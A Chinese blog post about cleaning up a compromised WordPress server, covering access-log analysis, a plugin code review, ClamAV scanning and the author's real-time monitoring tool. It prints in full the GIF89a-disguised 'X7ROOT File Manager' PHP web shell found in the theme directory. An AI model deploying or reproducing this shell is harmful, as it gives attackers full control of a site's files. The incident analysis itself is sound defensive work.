对于服务器上出现的莫名奇妙的插件,虽然之前已经删除了,但是过几天就会再次出现一些奇奇怪怪的文件。周末的时候已经基于网站访问日志进行了系统的分析,通过分析得出了几个结论:
1.不断有人尝试通过 wp-login.php 进行登录 2.登录成功之后,尝试通过 wp 的 api 接口下载和激活插件
最后的结论是下面的样子:
根据访问日志分析,发现wp-file-manager插件被未授权安装。虽然您确认只有一个管理员账户且未进行安装操作,但日志显示插件确实被成功安装和激活。本报告分析了可能的原因和攻击路径。 关键发现 1. 攻击时间线分析 攻击IP地址 43.174.27.202 - 第一次安装 (2025年8月16日 08:02:14) 43.175.184.61 - 第一次激活 (2025年8月16日 08:02:18) 43.134.100.163 - 第二次安装和激活 (2025年8月17日 06:41:23) 攻击行为模式 暴力破解尝试:攻击IP多次尝试登录wp-login.php (403状态码) 成功登录:最终获得管理员权限 快速安装:登录后立即安装和激活插件 后续探测:安装后继续探测系统 2. 可能的攻击路径 路径1:管理员账户被破解 证据: 攻击IP多次尝试登录wp-login.php 最终成功访问wp-admin目录 能够执行插件安装操作 可能原因: 弱密码被暴力破解 密码泄露 会话劫持 社会工程学攻击 路径2:WordPress漏洞利用 证据: 攻击IP尝试访问可疑文件路径 多次探测wp-admin目录下的文件 使用自动化工具 可能的漏洞: WordPress核心漏洞 插件漏洞 主题漏洞 文件上传漏洞 路径3:服务器层面入侵 证据: 攻击IP来自不同地理位置 使用自动化工具 系统级访问权限 可能原因: 服务器配置漏洞 数据库漏洞 文件系统权限问题 3. 日志分析证据 登录尝试记录 43.134.100.163 - - [08/Aug/2025:21:30:04 +0800] "POST /wp-login.php HTTP/1.1" 403 2545 43.134.100.163 - - [08/Aug/2025:21:30:05 +0800] "POST /wp-login.php HTTP/1.1" 403 2545 成功访问记录 43.134.100.163 - - [10/Aug/2025:00:42:46 +0800] "GET /wp-login.php?redirect_to=...&reauth=1 HTTP/1.1" 200 41129 43.134.100.163 - - [10/Aug/2025:00:42:49 +0800] "POST /wp-admin/admin-ajax.php?action=as_async_request_queue_runner&nonce=1bc2d4a2f7 HTTP/1.1" 200 31 恶意文件探测 43.134.100.163 - - [10/Aug/2025:00:43:15 +0800] "GET /wp-admin/js/baxa1.phP8/ HTTP/1.1" 200 116330 43.134.100.163 - - [10/Aug/2025:00:43:29 +0800] "GET /wp-admin/css/colors/blue/about.php7/ HTTP/1.1" 200 116503 4. 安全风险评估 高风险发现 管理员权限被获取:攻击者成功登录管理员账户 恶意插件安装:wp-file-manager可能被用作后门 文件系统访问:攻击者可能已获得文件系统访问权限 持续威胁:攻击者可能仍在系统中 中风险发现 自动化攻击:使用自动化工具进行攻击 多IP攻击:来自不同IP地址的攻击 文件探测:尝试访问可疑文件路径 5. 攻击者意图分析 wp-file-manager插件的作用 文件管理器:提供Web界面文件管理功能 后门工具:可能被用作持久化后门 权限提升:可能用于进一步权限提升 数据窃取:可能用于窃取敏感数据 攻击者行为特征 自动化操作:安装和激活间隔很短 来源伪装:显示来源为"www.google.com" 快速部署:立即安装和激活插件 持续监控:安装后继续探测系统 建议的应急响应措施 立即行动 隔离系统:立即断开服务器网络连接 备份数据:创建完整系统备份 检查文件:检查wp-file-manager插件文件 审计日志:详细分析所有访问日志 安全检查 密码重置:重置所有管理员账户密码 插件审查:检查所有已安装插件 文件完整性:检查核心文件完整性 数据库审计:检查数据库中的异常 长期措施 安全加固:实施更强的安全措施 监控系统:部署入侵检测系统 定期审计:定期进行安全审计 备份策略:实施完善的备份策略 结论 根据日志分析,wp-file-manager插件确实被未授权安装,这很可能是通过以下方式之一实现的: 管理员账户被破解:攻击者通过暴力破解或其他方式获得了管理员权限 WordPress漏洞利用:攻击者利用了WordPress或其插件的安全漏洞 服务器层面入侵:攻击者通过服务器层面的漏洞获得了访问权限
这就很有意思了,服务器在内网,公网没有可以登录的接口,那么其实我怀疑还有另外一种可能就是安装的插件本身有问题,因为毕竟好几个插件是破解版,还不是自己做的破解版。
本报告分析了目录下所有WordPress插件,查找可能存在的远程下载漏洞或能够下载文件的代码。分析涵盖了文件下载、远程文件获取、用户输入处理等安全相关功能。 发现的安全问题 1. 高风险漏洞 1.1 wp-douban插件 - 远程文件下载漏洞 文件位置: wp-douban/src/functions.php (第548行) wp-douban/src/subject-table.php (第167行) wp-douban/src/subject-all-table.php (第166行) 问题描述: 该插件存在远程文件下载功能,直接从外部URL下载图片并保存到本地: $imageData = curl_exec($ch); file_put_contents($e, $imageData); 风险等级: 中风险 原因: 虽然URL来源相对可控(豆瓣API),但缺乏充分的URL验证和文件类型检查。 1.2 loginpress插件 - 远程文件下载功能 文件位置: loginpress/classes/class-loginpress-ajax.php (第205行) 问题描述: 使用WordPress内置的download_url()函数下载远程文件: $file['tmp_name'] = download_url( $value ); // Downloads a url to a local temporary file. 风险等级: 低风险 原因: 使用了WordPress的安全函数,但需要确保URL来源可信。 1.3 wp-opt插件 - 文件写入操作 文件位置: wp-opt/core/Module.php (第54行、第61行) 问题描述: 将base64解码的数据写入文件: file_put_contents($file_path, base64_decode($img_file)); 风险等级: 中风险 原因: 缺乏对base64内容的验证,可能被恶意利用。 2. 中风险功能 2.1 envira-gallery插件 - 插件安装功能 文件位置: envira-gallery/src/Functions/ajax.php (第774行、第815行) 问题描述: 允许通过URL安装插件: $download_url = esc_url_raw( wp_unslash( $_POST['plugin'] ) ); $installer->install( $download_url ); 风险等级: 中风险 原因: 虽然进行了URL清理,但仍需要确保下载源的可信度。 2.2 wp-mail-smtp-pro插件 - 文件下载功能 文件位置: wp-mail-smtp-pro/src/Connect.php (第181行) 问题描述: 从用户提供的URL下载文件: $post_url = ! empty( $_REQUEST['file'] ) ? esc_url_raw( wp_unslash( $_REQUEST['file'] ) ) : ''; $installer->install( $post_url ); 风险等级: 中风险 原因: 虽然进行了URL清理和HMAC验证,但仍需谨慎处理。 3. 低风险功能 3.1 各种插件的API调用 涉及插件: akismet envira-videos loginpress-pro wordpress-seo wp-mail-smtp-pro 问题描述: 使用wp_remote_get()、curl_exec()等函数进行远程API调用。 风险等级: 低风险 原因: 大多数调用都是向可信的API端点,且进行了适当的错误处理。 安全建议 1. 立即修复建议 wp-douban插件: 添加URL白名单验证 实现文件类型检查 限制下载文件大小 添加文件内容验证 wp-opt插件: 验证base64内容的合法性 添加文件类型检查 实现内容签名验证 2. 长期安全改进 所有插件: 实现统一的文件下载安全策略 添加文件类型白名单 实现文件大小限制 添加下载频率限制 用户输入验证: 对所有用户提供的URL进行严格验证 实现URL白名单机制 添加文件扩展名检查 文件系统安全: 限制文件写入目录 实现文件权限控制 添加文件完整性检查
鉴于上面的报告,继续删除了一些无用的插件。
然而,事情似乎并没有结束。在这之后,我又写了一个文件监控工具,来记录文件的创建和修改,但是效果并不是很好,无法追溯到执行下载的php 文件。
鉴于上面的问题,开始思考下一步操作,那就是直接进行文件杀毒,linux 的免费杀毒,选择也蛮多的,我用的 clamav。
ubuntu 安装也比较简单, 直接扫描网站目录:
第一次扫描,得到了上面的结果,但是这个结果就很奇怪,感染文件 5 个,但是没有任何记录,
原来执行的扫描命令是:clamscan -r /home >> /var/log/clamscan.log
实际上,这个命令只是扫描了,但是感染文件不会被处理。
国内的文章,果然不能照着抄,还是得看官方文档:https://docs.clamav.net
实际上应该是:
clamscan --recursive=yes --infected --log=/home/wwwlogs/clams-scan.log --move=/home/infected /home/wwwroot/
这么个命令,这样扫描结果就一目了然了:
这一堆乱七八糟的东西,竟然是主题:
之前只关注了插件目录,没有看主题目录,现在看来,这个目录也是有问题的。
处理的文件:
实际这个东西就是个文件管理器,代码如下:
GIF89a <?php /* GIF89a */ $home = $_SERVER['HOME'] ?? '/'; $path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd(); if (!$path || !is_dir($path)) $path = getcwd(); $uploadSuccess = false; $fileLink = ''; $currentYear = date("Y"); $editContent = ''; $editTarget = ''; $message = ''; function h($str) { return htmlspecialchars($str, ENT_QUOTES); } // Helper function to get full symbolic permissions function getFullPermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Handle POST actions if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload'])) { $dest = $path . '/' . basename($_FILES['upload']['name']); if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $message = "<div style='color:#f00;'>✅ File uploaded successfully!</div>"; } else { $message = "<div style='color:#f00;'>❌ File upload failed.</div>"; } } elseif (isset($_POST['chmod'], $_POST['file'])) { if (chmod($path . '/' . $_POST['file'], intval($_POST['chmod'], 8))) { $message = "<div style='color:#f00;'>✅ Permissions changed successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to change permissions.</div>"; } } elseif (isset($_POST['savefile'], $_POST['filename'])) { if (file_put_contents($path . '/' . $_POST['filename'], $_POST['savefile'])) { $message = "<div style='color:#f00;'>✅ File saved successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to save file.</div>"; } } elseif (isset($_POST['rename'], $_POST['oldname'])) { if (rename($path . '/' . $_POST['oldname'], $path . '/' . $_POST['rename'])) { $message = "<div style='color:#f00;'>✅ File renamed successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to rename file.</div>"; } } elseif (isset($_POST['mkdir'], $_POST['dirname'])) { if (mkdir($path . '/' . $_POST['dirname'])) { $message = "<div style='color:#f00;'>✅ Directory created successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to create directory.</div>"; } } } // Handle GET actions if (isset($_GET['edit'])) { $editTarget = basename($_GET['edit']); $editPath = $path . '/' . $editTarget; if (is_file($editPath)) { $editContent = htmlspecialchars(file_get_contents($editPath)); } } if (isset($_GET['delete'])) { $target = $path . '/' . basename($_GET['delete']); if (is_file($target)) { if (unlink($target)) { $message = "<div style='color:#f00;'>✅ File deleted successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to delete file.</div>"; } } elseif (is_dir($target)) { if (rmdir($target)) { $message = "<div style='color:#f00;'>✅ Directory deleted successfully.</div>"; } else { $message = "<div style='color:#f00;'>❌ Failed to delete directory. (Maybe not empty?)</div>"; } } } // Separate files and directories $items = @scandir($path); $dirs = []; $files = []; if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; if (is_dir($path . '/' . $item)) { $dirs[] = $item; } else { $files[] = $item; } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>X7ROOT File Manager</title> <style> body { background: #111; color: #eee; font-family: monospace; padding: 20px; } a { color: #f00; text-decoration: none; } a:hover { text-decoration: underline; } table { width: 100%; border-collapse: collapse; margin-top: 15px; background: #1c1c1c; } th, td { padding: 10px; border: 1px solid #333; text-align: left; } th { background: #2a2a2a; color: #f00; } input, button, textarea { background: #222; color: #eee; border: 1px solid #444; padding: 8px; border-radius: 4px; font-family: monospace; box-sizing: border-box; width: 100%; } button, input[type="submit"] { background: #f00; color: #111; font-weight: bold; cursor: pointer; border: 1px solid #f00; width: auto; padding: 8px 12px; } button:hover, input[type="submit"]:hover { background: #e00; } .breadcrumb a { color: #f00; margin-right: 5px; } .breadcrumb span { color: #888; margin: 0 4px; } .card { background: #1c1c1c; padding: 15px; border-radius: 8px; box-shadow: 0 0 10px #000; margin-top: 20px; } textarea { height: 300px; margin-top: 10px; } footer { text-align: center; margin-top: 40px; color: #666; font-size: 0.9em; } .perms-safe { color: #0f0; } .perms-warn { color: #f00; } .message { margin-bottom: 20px; font-size: 1.1em; } .actions-cell { white-space: nowrap; } </style> </head> <body> <h2>X7ROOT File Manager</h2> <?php if ($message): ?> <div class="message"><?= $message ?></div> <?php endif; ?> <form method="get"> <input type="text" name="path" value="<?= h($path) ?>" style="width: 80%; display: inline-block;"> <button type="submit" style="width: 18%;">Go</button> </form> <div class="breadcrumb"> <?php $crumbs = explode('/', trim($path, '/')); $accum = ''; echo '<a href="?path=/">/</a>'; foreach ($crumbs as $crumb) { if ($crumb === '') continue; $accum .= '/' . $crumb; echo '<span>/</span><a href="?path=' . urlencode($accum) . '">' . h($crumb) . '</a>'; } echo '<span>/</span><a href="?path=' . urlencode($home) . '">[ HOME ]</a>'; ?> </div> <?php if (dirname($path) !== $path): ?> <p><a href="?path=<?= urlencode(dirname($path)) ?>">⬅️ [ PARENT DIR ]</a></p> <?php endif; ?> <hr style="border-top: 1px solid #f00;"> <div style="display: flex; gap: 20px; margin-top: 20px;"> <div class="card" style="flex: 1;"> <h3>Upload File</h3> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload" required> <button type="submit" style="margin-top: 10px;">📤 Upload</button> </form> </div> <div class="card" style="flex: 1;"> <h3>Create Folder</h3> <form method="post"> <input type="hidden" name="mkdir" value="1"> <input type="text" name="dirname" placeholder="Folder Name"> <button type="submit" style="margin-top: 10px;">➕ Create</button> </form> </div> </div> <?php if ($editTarget): ?> <div class="card"> <h3>Editing: <?= h($editTarget) ?></h3> <form method="post"> <input type="hidden" name="filename" value="<?= h($editTarget) ?>"> <textarea name="savefile"><?= $editContent ?></textarea><br> <button type="submit">💾 Save File</button> </form> </div> <?php endif; ?> <hr style="border-top: 1px solid #f00;"> <div class="card"> <h3>Directories</h3> <table> <tr> <th>Name</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach ($dirs as $item): ?> <?php $full = $path . '/' . $item; $perm = getFullPermissions($full); $permClass = (substr($perm, 8, 1) === 'w') ? 'perms-warn' : 'perms-safe'; ?> <tr> <td><a href="?path=<?= urlencode($full) ?>">📁 <?= h($item) ?></a></td> <td class="<?= $permClass ?>"><?= $perm ?></td> <td class="actions-cell"> <a href="?path=<?= urlencode($path) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Delete directory?')" style="color:#f00;">🗑️</a> </td> </tr> <?php endforeach; ?> </table> <h3>Files</h3> <table> <tr> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Actions</th> </tr> <?php foreach ($files as $item): ?> <?php $full = $path . '/' . $item; $size = round(filesize($full) / 1024, 2); $perm = getFullPermissions($full); $permClass = (substr($perm, 8, 1) === 'w') ? 'perms-warn' : 'perms-safe'; ?> <tr> <td>📄 <?= h($item) ?></td> <td><?= $size ?> kB</td> <td class="<?= $permClass ?>"><?= $perm ?></td> <td class="actions-cell"> <a href="?path=<?= urlencode($path) ?>&edit=<?= urlencode($item) ?>">✏️</a> | <a href="?path=<?= urlencode($path) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Delete file?')" style="color:#f00;">🗑️</a> | <a href="<?= h($item) ?>" download>⬇️</a> | <form method="post" style="display:inline-block; margin-left:5px;"> <input type="hidden" name="oldname" value="<?= h($item) ?>"> <input type="text" name="rename" value="<?= h($item) ?>" style="width:100px; display:inline;"> <button type="submit" style="font-size: 0.8em; padding: 4px 6px;">Rename</button> </form> </td> </tr> <?php endforeach; ?> </table> </div> <footer> © <?= $currentYear ?> | File Manager by <a href="https://t.me/X7ROOT" target="_blank">@X7ROOT</a> </footer> </body> </html>
这些所有的文件都是同样的内容,就是个文件上传工具,问题是有了这个东西,尼玛服务器还有什么隐私?但是这个东西是怎么进来的,现在反而不好去探寻了。
为了解决这个问题,还有一个办法是做文件的实时监控,在上传文件,或者有文件变化的时候进行病毒扫描。
然而,clamav 没有实时监控,要实现监控就得自己去实现相关功能,最开始用 脚本写了一个,效果一般,后来用 python 重构了一版,运行效果:
不过添加了这个功能之后,出现了一个问题,就是上传文件的时候超时了。
eo返回了 524 错误,这个错误是 eo 定义的,其实是上传文件时间稍微长点,源站没响应就出错了。要解决这个问题也简单:
场景:配置 HTTP 应答超时时间为 60 s
example.com
站点下的 www.example.com
域名业务对应源站负载较高,处理耗时长,为了避免由于超过节点默认 HTTP 超时时间 15s 后主动断开导致访问失败的问题,需延长至 60s。可参考以下步骤:www.example.com
。
现在再次上传就 ok 了:
以前总觉得服务器在内网,也没开放 ssh 之类的端口,相对来说比较安全,但是那有什么所谓的一直安全,稍微不慎,可能就让各种插件或者漏洞给坑了。出现一些莫名其妙的问题。
至于解决,那就是自己想办法解决了,相关工具已经开源,看下面的地址,既然木马无处不在,那就好好放马吧,好歹不能让马儿到处乱跑不是?
https://github.com/obaby/Clamav-Realtime-Monitor
如果访问不了,用下面这个:
https://gitee.com/obaby/Clamav-Realtime-Monitor
推荐使用 python 版本:
17 comments
wp博客风险这么高嘛,我用ty一般没有怎么关注过文件安全。
现在不好确定问题是出在什么地方,所以直接上杀软了。😂
动态博客确实比静态的要多不少攻击面。从安全控件的日志来看,绝大部分“攻击”都是自动化扫描工具的广撒网,他们会遍历几百个可能的漏洞目录尝试找到有问题的那个,很多工具都完全无视对方的实际情况,比如在一个LNMP上找asp的漏洞。
WP 用的人多,自然会被一些坏家伙盯上。
是的,用户太多了,各种攻击也多
灵妹妹,可以考虑真的外景牧马人了
内蒙古额济旗纳,新疆那拉提之类的……
外不了一点~~
等你拿了赔偿,期待有个长的旅行,坐等美美的外景
还想和你策马奔腾,共享受人世繁华
技术大牛~分析那么多。
如果换成是我,就是备份数据库,然后重装系统,重装网站。插件主题都用新下载的,最新的版本。
我以前自己用Ubuntu时候也装过clamav。有个安全扫描还是比较好的。
重装太麻烦,关键是不知道有没有别的问题。
这个就挺恶心的。
Wordfence安全
Login LockDown
这两个插件不知道有没有用。另外就是开启二次验证 不知道效果如何。
登录地址已经改了,默认的,天天被扫。
二次验证是个不错的选择,不过就是有点麻烦。
Wordfence当然有用,但想要到好用需要升级到高级版(破解版),但问题就又回到开始了,「又多了一个不是自己破解的插件」
因为绝大部分针对WP的攻击都是基于:自动化扫描作为开始,其实可以限制一下登录频次,这年月大家都有密码管理器,能输错密码的几率少之又少,即使错了作为真实最高权限者也能从系统层级解决,So,我直接设置的:登录用户名输入错误(使用不存在的用户名)直接禁止;密码也只能错1次;访问奇怪的目录(扫描器的起手目录)「/api、/index、/login.html、/1.html」奇怪小国IP「巴拉圭啊,巴西啊,西班牙啊」(就算用户用了魔法那也应该是美新日等国家吧)都直接封杀1个月。
高风险的插件我安装了两个,我也得做好防护了。
wp 的生态的确没那么安全。
WP风险太大了,我连自用的记录网站都被国外人攻击,直接攻到我七牛云存储,存了一大堆东西,前段时间清理了,再开再被攻击,现在都不敢用云存储了
还真是无孔不入啊